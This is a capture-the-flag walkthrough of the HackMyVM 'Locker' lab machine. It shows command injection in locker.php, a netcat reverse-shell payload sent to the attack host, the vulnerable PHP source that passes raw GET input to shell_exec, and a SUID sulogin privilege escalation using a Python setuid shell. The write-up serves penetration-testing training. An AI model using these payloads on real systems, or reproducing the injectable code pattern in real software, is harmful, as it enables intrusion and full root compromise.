CTF Walkthrough for HackMyVM Machine Locker
Introduction
Greetings everyone, in this walkthrough, we will talk about Locker a machine among HackMyVM machines. This walkthrough is not only meant to catch the flag but also to demonstrate how a penetration tester will approach this machine in a real-world assessment. This machine was set up using VirtualBox as recommended by the creator and the Network configuration was changed to ‘Nat Network’.
Machine Description
Name: Locker
Goal: Get two flags
OS: Linux
Download link: Locker
Tools used
1) Nmap
3) ffuf
4) Netcat
5) Zaproxy
Reconnaissance
This machine reveals its IP address on startup, we can use that address to perform a service discovery scan on the target.
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(pentester㉿kali)-[~/Locker/Scans/Service]
└─$nmap -sC -sV -n 10.0.2.24 -oN service-scan.nmap
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-21 09:49 BST
Nmap scan report for 10.0.2.24
Host is up (0.0019s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.14.2
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.14.2
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.47 seconds
The target appears to run only an Nginx web server. Let’s visit this web application to understand how it works.
We see that the server runs a simple web application. When we click on Model 1, we are redirected to the locker.php page that displays the image of a locker.
If we take a closer look at the request made, we will notice that the image is embedded in web pages without separate files as a base64 string and rendered with the help of the data PHP filter. This means the image is first encoded in the backend and the base64 string is passed to the page for it to be displayed.
Converting an image from binary to base64 can be done in several ways, one includes running system commands and capturing the value returned. With this idea, we can start testing the web application for any command injection vulnerability. If we assume that the value of the parameter image is the name of the image, it means this value is used in the command. Let’s embed our command in $()
to ensure that it is always executed. We can start a listener on our attack host and attempt to connect to that listener from the target machine.
Exploitation
In the image above, we see that the target is connected to our attack host hence the web application is vulnerable to command injection. Now, let’s gain a reverse shell on the target.
1
2
Listener: nc -lvnp 9000
Payload : $(nc -c bash 10.0.2.16 9000)
We can use these commands to upgrade the shell above to a fully interactive shell to facilitate our enumeration process.
1
2
3
4
5
6
7
8
9
python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@locker:~/html$ ^Z
zsh: suspended nc -lvnp 9000
┌──(pentester㉿kali)-[~/Locker]
└─$stty raw -echo;fg
[1] + continued nc -lvnp 9000
export TERM=xterm
www-data@locker:~/html$
We can optionally read the code to understand its functioning and how our command injection came to live.
1
2
3
4
5
6
7
8
9
www-data@locker:~/html$ ls
1.jpg 2.jpg 3.jpg index.html locker.php
www-data@locker:~/html$ cat locker.php
<?php
$image = $_GET['image'];
$command = "cat ".$image.".jpg | base64";
$output = shell_exec($command);
print'<img src="data:image/jpg;base64,'.$output.'"width="150"height="150"/>';
?>
Post Exploitation
At this point in our assessment, we have obtained a foothold on the target and we would like to elevate our privileges to that of the root user. We can start our enumeration by listing all binaries with the SUID bit set.
1
2
3
4
5
6
www-data@locker:~$ find / -perm -4000 -exec ls -ldb {} \; 2>/dev/null
<SNIP>
-rwsr-sr-x 1 root root 47184 Jan 10 2019 /usr/sbin/sulogin
-rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount
<SNIP>
www-data@locker:~$
We can see that the target has an uncommon binary called sulogin with a SUID bit set. Unfortunately, GTFOBin doesn’t have any entry for this binary so let’s read its man page to understand what it does.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
www-data@locker:~$ man sulogin
<SNIP>
OPTIONS
-e, --force
If the default method of obtaining the root password from the
system via getpwnam(3) fails, then examine /etc/passwd and
/etc/shadow to get the password. If these files are damaged or
nonexistent, or when root account is locked by '!' or '*' at the
begin of the password then sulogin will start a root shell with‐
out asking for a password.
<SNIP>
ENVIRONMENT VARIABLES
sulogin looks for the environment variable SUSHELL or sushell to deter‐
mine what shell to start. If the environment variable is not set, it
will try to execute root\'s shell from /etc/passwd. If that fails, it
will fall back to /bin/sh.
<SNIP>
www-data@locker:~$
The man page reveals that this binary can be used to start the shell stored in the SUSSHELL environment variable. Also, when used with the -e options we can start a root shell without asking for a password. To exploit this binary, let’s create a custom shell that elevates our privilege directly to that of the root user by leveraging the permissions offered by the SUID bit. We can use Python to create a short script as shown below.
1
2
3
4
5
6
7
8
9
10
www-data@locker:/tmp$ cat shell
#!/usr/bin/python3
import os
os.setuid(0)
os.setgid(0)
os.system("/bin/bash")
www-data@locker:/tmp$ chmod 755 shell
www-data@locker:/tmp$ ls -la shell
-rwxr-xr-x 1 www-data www-data 79 Sep 21 07:49 shell
Next, let’s set the SUSSHELL variable to the path to our custom shell and run the sulogin command with the -e option.
1
2
3
4
5
6
7
8
9
10
11
12
13
www-data@locker:/tmp$ export SUSHELL=/tmp/shell
www-data@locker:/tmp$ /usr/sbin/sulogin -e
Press Enter for maintenance
(or press Control-D to continue):
root@locker:~# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
root@locker:~# ls /root
flag.sh root.txt
root@locker:~#
root@locker:~# ls -l /home/tolocker/
total 8
-rwxr-xr-x 1 tolocker tolocker 1920 Jan 22 2021 flag.sh
-rw------- 1 tolocker tolocker 14 Jan 22 2021 user.txt
Great, we successfully obtained a root shell on the target. We can use this shell to read both flags on the system as shown above.
Conclusion
Congratulations! In this walkthrough, you have exploited a command injection vulnerability to obtain a foothold on the target. This machine was designed to show the importance of sanitising user input before using it in system commands. Thank you for following up on this walkthrough.